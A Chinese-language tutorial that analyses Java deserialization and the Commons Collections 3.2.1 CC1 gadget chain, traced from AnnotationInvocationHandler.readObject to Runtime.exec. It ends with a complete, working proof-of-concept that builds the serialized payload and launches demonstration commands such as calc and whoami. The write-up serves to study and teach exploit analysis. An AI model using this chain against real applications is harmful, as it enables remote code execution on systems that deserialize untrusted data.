Java 反序列化链分析

链都大同小异, 这里只分析了 CC1

反序列化原理

在 Java 中一个对象的反序列化是通过调用 ObjectInputStream 类的 readObject 方法实现的, 可以将字节流中的数据反序列化成一个对象

在其 readObject 方法中, 如果是一个普通对象 (通过 bin.peekByte 读取第一个字节来判断), 也就是 ObjectStreamConstants.TC_OBJECT = 0x73, 则调用 readOrdinaryObject 方法, 最终会在 readSerialData 方法中反射调用到对象的 readObject 方法

private void readSerialData(Object obj, ObjectStreamClass desc) throws IOException {
    ...
                        slotDesc.invokeReadObject(obj, this);
    ...
}

这个 slotDesc 是一个 ObjectStreamClass 对象, 而对象的 readObject 方法是在 readClassDesc 获取序列化描述时通过 ObjectStreamClass 的构造函数装载到 ObjectStreamClass 对象中的

除了 readObject 方法外, 还会检查下列方法的实现并赋值:

/** class-defined writeObject method, or null if none */
private Method writeObjectMethod;
/** class-defined readObject method, or null if none */
private Method readObjectMethod;
/** class-defined readObjectNoData method, or null if none */
private Method readObjectNoDataMethod;
/** class-defined writeReplace method, or null if none */
private Method writeReplaceMethod;
/** class-defined readResolve method, or null if none */
private Method readResolveMethod;

也就是说除了 readObject 方法, 还会在序列化和反序列化过程中调用 writeObject, readObjectNoData, writeReplace, readResolve

反序列化调用链如下:

ObjectInputStream.readObject()                         		// [1] 你写在代码中的反序列化入口
	|--- ObjectInputStream.readObject0()   					// [2] 核心调度逻辑
		|--- readOrdinaryObject()         					// [3] 处理 TC_OBJECT 类型
        	|--- readClassDesc()                       		// [4] 读取类描述信息(TC_CLASSDESC)
                 |--- readNonProxyDesc()                	// [5] 读取非代理类的描述
                 	|--- initNonProxy() 					// [6] 检查序列化版本等, 初始化类的序列化描述
                    	|--- ObjectStreamClass.lookup() 	// [6] 解析类的序列化描述并缓存
                         	|--- new ObjectStreamClass()   	// [7] 构建 ObjectStreamClass
                            	|--- getPrivateMethod() 	// [8] 获取 readObject 等方法
            |--- ObjectStreamClass.newInstance()       		// [9] 获取 ObjectStreamClass 实例
            |---  readSerialData()							// [10] 从字节流中读取实例数据
            	|--- ObjectStreamClass.invokeReadObject()  // 如果类定义了 readObject, 并且有数据 
                	|--- YourClass.readObject()
                |--- ObjectStreamClass.invokeReadObjectNoData() // 如果没有数据
           	|--- ObjectStreamClass.invokeReadResolve() 		// 如果定义了 readResolve 方法

环境准备

需要准备的是一个 IDEA, 漏洞库依赖, 对应版本的 JDK 以及其源码, 比如以 CC1 中用到的 JDK 8u65 为例

源码

源码可以在: https://hg.openjdk.org/jdk8u/jdk8u/jdk 查找对应的版本, 这里主要是看有哪些改动, 就找改动 AnnotationInvocationHandler 的前一个版本就好了, 这里直接搜 annotationinvocationhandler

Screenshot2025-04-10at14.29.51

从第一个开始看, 发现是第一个 8143185 修复了, 于是点他的 parents 也就是上一个提交下载源码

把下载的源码挂载到 IDEA 就好, IDEA 具体操作: Project Structure -> SDKs -> Sourcepath

如果没有 JDK 的源码的话, IDEA 搜索调用者的时候是没办法搜到 JDK 中的调用的

依赖

直接用 maven 构建项目, 添加这些依赖:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

寻找反序列化漏洞链

首先必须要有一个触发点也就是入口类

入口类需具备的特征:

  1. 必要特征: 实现了 Serializable 接口重写了 readObject / readResolve (准确来说这不是一种重写, 这些方法都是 Java 序列化的一种规范, 在序列化/反序列化过程中是反射调用的), 或者实现了 Externalization 重写了 readExternal, 或者实现了 ObjectInputValidation 重写了 validateObject, 等等这样类似的能在反序列化过程中被触发且能被重写的方法
  2. 重写的方法中有特定的逻辑: 调用其他类的方法的能力 / 直接命令执行

比如下面的类:

class Evil implements Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("rofi"); // rofi 是 linux 的一个窗口切换工具, 这里是为了弹窗
    }
}

如果一个类是以上这样, 那么就可以直接使用了, 但通常不会有这样的, 所以我们还需要很多中间操作转到最终的目的类上

中间类具备的特征:

  1. 必须能被入口类调用
  2. 可以调用其他类的方法

目的类需具备的特征:

  1. 构造函数或者其他函数可以调用任意方法或直接任意命令执行

目的类是用于达成我们最终目的用的, InvokerTransformer 就是一个比较典型的目的类:

public class InvokerTransformer implements Transformer, Serializable {
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

如果我们可以通过入口类来调用到 InvokerTransformertransform 方法, 并且我们可以控制传入的参数, 那我们就可以实现任意方法调用

在找这种类的时候, 可以反向/正向寻找

正向: 从重写过 readObject 方法类开始到达目的类

反向: 从目的类开始找被哪些方法使用, 最终到readObject


CC1 的成因是 InvokerTransformer 可以通过 transform 方法调用任意类的任意方法并且有很多入口类调用了 Transformer 接口的 transform 方法, 在 commons-collections:3.2.1 中默认没有黑名单限制

这里我们的目的类就是 InvokerTransformer

这里我们可以反向寻找这个有哪些类调用过 transform 方法的, 这里我们直接借助 IDEA 的 Call Hierarchy 功能, 这个功能在 选项卡 -> navigate, 可以查看某一个方法的所有调用者, 然后可以逐级往下查看

首先通过 transform 方法可以看到有以下的类调用了:

Screenshot 2025-04-09 at 23.00.52

现在找到了调用 transfrom 的所有方法, 还需要找在readObject 方法中经过层层调用最终调用到 transform 的中间方法

CC1 就是找到了一个 TransformedMap 中的 checkSetValue 方法, 这个方法只有 setValue 调用了

setValue 直接将接收到的 Object 类型的参数传递给 checkSetValue, 这个方法是 Map.Entry 的方法

checkSetValue 接收一个 Object 类型的参数, 并将其传入 transform 中, 那也就是说如果我们能控制这个参数为合适的类型比如: Runtime, 并且将 TransformedMap 中的 valueTransformer 赋值为以下的 InvokerTransformer 就可以执行任意命令:

InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{"whoami", null, null});

现在还没有入口点, 接下来看谁调用了 setValue

Screenshot 2025-04-10 at 14.54.55

这里就直接看到了 AnnotationInvocationHandlerreadObject 方法调用了, 找到了入口类, 就可以尝试构造反序列化链

构造反序列化链

我们的目的类是 InvokerTransformer, 需要在 readObject 的时候触发其 transform 方法. 已知的一个简单的链条是这样:

AnnotationInvocationHandler.readObject -> TransformedMap.Entry.setValue -> TransformedMap.checkSetValue -> InvocationTransformer.transform

我们可以先构造出目的类, 这里可以调用任意类的任意方法, 最好的肯定是调用 Runtime.exec, 于是构造下面的 InvokerTransformer:

main() {
    // macos
    // String[] cmd = {
    //            "osascript",
    //            "-e",
    //            "display dialog \"Hacked\" buttons {\"OK\"} default button \"OK\""
    //    };
    
    // windows
    // String[] cmd = {"calc"};
    
    String[] cmd = {"rofi"}; // linux 的窗口切换工具, 这里用于弹窗
    InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null});
    transformer.transform(Runtime.getRuntime());
}

现在就要尝试如何调用到这个目的类了

可以尝试先能成功调用 TransformedMap.setValue

分析 AnnotationInvokerHandler 的源码:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    // 注解的 Class
    private final Class<? extends Annotation> type;
    // 这个 map 是在后面用存放注解中的值的, 键是注解的成员名
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        // 这里要让条件为 false, type 必须是一个注解的 Class, 并且这个注解上必须有其他注解 (@FunctionalInterface 这样的就不行)
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        /**
         * 这个 map 是注解中的成员与其类型的映射, 比如这个注解:
         * <p>
         * <code>
         * public @interface Test {
         *     String value();
         * }
         * </code>
         * </p>
         * 就会以 "value" 为键, 以 String.class 为值放入这个 map 中
         */
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            // 下面就是根据 memberValue 中的键获取注解中的值, 在封装成一个 AnnotationTypeMismatchExceptionProxy 
            // 调用 setValue 放入 memberValue 中
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                
                Object value = memberValue.getValue();
                // 这里要为 true, 也就是说 memberValue 中的值必须是是其类型的实例, 值直接是一个字符串就可以
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

从上面的分析中我们可以得出, 我们要放入的 TransformedMap 根据注解来构造其中的值, 这个注解上必须要有其他注解, 并且必须有至少一个成员, 比如 @Retention 这个注解就符合要求

Retention:

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
   
    RetentionPolicy value();
}

这个注解的成员是 value, 我们就可以构造以下的 TransformedMap :

main() {
    String[] cmd = {"rofi"};
    InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null});
    // TransformedMap 实际上是一个包装器, 需要构造一个 Map 进去
    Map<Object, Object> hashmap = new HashMap<>();
    hashmap.put("value", "x");
    Map<Object, Object> transformedMap = TransformedMap.decorate(hashmap, null, transformer);
}

接下来如果我们自己调用 setValue 方法的话成功执行

for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
	entry.setValue(Runtime.getRuntime());
}

构造进 AnnotationInvocationHandler:

main() {
    String[] cmd = {"rofi"};
    InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null});
    // TransformedMap 实际上是一个包装器, 需要构造一个 Map 进去
    Map<Object, Object> hashmap = new HashMap<>();
    hashmap.put("value", "x");
    Map<Object, Object> transformedMap = TransformedMap.decorate(hashmap, null, transformer);
    // AnnotationInvocationHandler 是非 public 的, 需要通过全限定类名从 system loader 中找到
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // 私有构造函数需要 getDeclaredConstructor 获取, 并设置可访问
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    Object handler = construct.newInstance(Retention.class, transformedMap);
}

这里看似已经可以直接序列化后尝试反序列化了, 但是还存在两个问题没有解决:

  1. Runtime 不是可序列化的, 如何将其传进去
  2. AnnotationInvocationHandler 的源码中我们可以看到, 最后将我们的可控参数构造进了一个 AnnotationTypeMismatchExceptionProxy 再传入 setValue, 这样就导致不能传入一个 Runtime 对象了, 参数看似不可控

我们先解决第一个问题:

问题1: Runtime 不可序列化, 如何传入

Runtime 不可序列化, 但他的 Class 是可序列化的, 我们可以通过序列化他的 Class 反射获取 Runtime 对象

main () {
	Class<Runtime> runtimeClass = Runtime.class;
	Method getRuntime = runtimeClass.getMethod("getRuntime");
    Object runtime = getRuntime.invoke(null);
	Method exec = runtimeClass.getMethod("exec", String[].class, String[].class, File.class);
	exec.invoke(runtime, "whoami", null, null);
}

也就是说, 我们同样可以利用 InvokerTransformer 来获取 Runtime 对象并调用其 exec 方法, 但需要用到三个 InvokerTransformer:

main() {
     // 获取 getRuntime 的 Method, 不直接获取其内部的 currentRuntime 是因为 InvokerTransformer 只能反射 public
    InvokerTransformer getMethodTransformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
     
    Object getMethod = getMethodTransformer.transform(Runtime.class);
    
    // 获取 Runtime
    InvokerTransformer getRuntimeTransformer = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
    
    Object runtime = getRuntimeTransformer.transform(getMethod);
    
    // 执行命令
    InvokerTransformer execTransformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{"whoami", null, null});
    
    execTransformer.transform(runtime);
    
    
}

用了三个 InvokerTransformer 最终达到目的, 但是最终放入 TransformedMap 的只有一个, 这完全不行

接下来就要用到另一个 Transformer: ChainedTransformer

ChainedTransformer:

/**
 * Transformer implementation that chains the specified transformers together.
 * <p>
 * The input object is passed to the first transformer. The transformed result
 * is passed to the second transformer and so on.
 */
public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

}

ChainedTransformer 的作用主要就是链式调用 Transformer, 也就是将上一个 Transformer 的输出作为下一个 Transformer 的输入, 这个机制和 Java 的 AbstractProcessor 处理代码的机制一样

我们就可以将上面三个 InvokerTransformer 构造成一个 ChainedTransformer:

main() {
	ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});
}

问题2: 参数不可控

除了上面的 Transformer 还有一个非常有意思的 ConstantTransformer:

/**
 * Transformer implementation that returns the same constant each time.
 * <p>
 * No check is made that the object is immutable. In general, only immutable
 * objects should use the constant factory. Mutable objects should
 * use the prototype factory.
 */
public class ConstantTransformer implements Transformer, Serializable {

    /** The closures to call in turn */
    private final Object iConstant;

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

}

他的 transform 方法可以返回内部的一个 Object 对象, 那我们就可以结合 ChainedTransformer 的特性, 将 Runtime.class 作为参数封装进 ConstantTransformer

最终可以的到:

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});

这样在 setValue 不论传入什么类型, 都可以达成目的

最终的链条:

AnnotationInvocationHandler.readObject()
    └──> TransformedMap.Entry.setValue()
        └──> TransformedMap.checkSetValue()
            └──> ChainedTransformer.transform()
                └──> ConstantTransformer.transform() -> A
                    └──> InvokerTransformer.transform(A) -> B
                        └──> InvokerTransformer.transform(B) -> CMD
                            └──> InvokerTransformer.transform(CMD)
                                └──> Runtime.exec(CMD)

最后的代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

/**
 * @author Erzbir
 * @since 1.0.0
 */
public class CC1 {
    public static void main(String[] args) throws Exception {
        String[] cmd = {
                "whoami",
        };

        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("linux")) {
            cmd = new String[]{"rofi"};

        } else if (os.contains("windows")) {
            cmd = new String[]{"calc"};

        } else if (os.contains("mac")) {
            cmd = new String[]{"osascript", "-e", "display dialog \"Hacked\" buttons {\"OK\"} default button \"OK\""};

        }

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
        });

        // TransformedMap 实际上是一个包装器, 需要构造一个 Map 进去
        Map<Object, Object> hashmap = new HashMap<>();
        hashmap.put("value", "x");
        Map<?, ?> transformedMap = TransformedMap.decorate(hashmap, null, chainedTransformer);

        // AnnotationInvocationHandler 是非 public 的, 需要通过全限定类名从 system loader 中找到
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 私有构造函数需要 getDeclaredConstructor 获取, 并设置可访问
        Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object handler = construct.newInstance(Retention.class, transformedMap);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(handler);
        oos.close();
        byte[] bytes = bos.toByteArray();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        ois.readObject();
        ois.close();
    }
}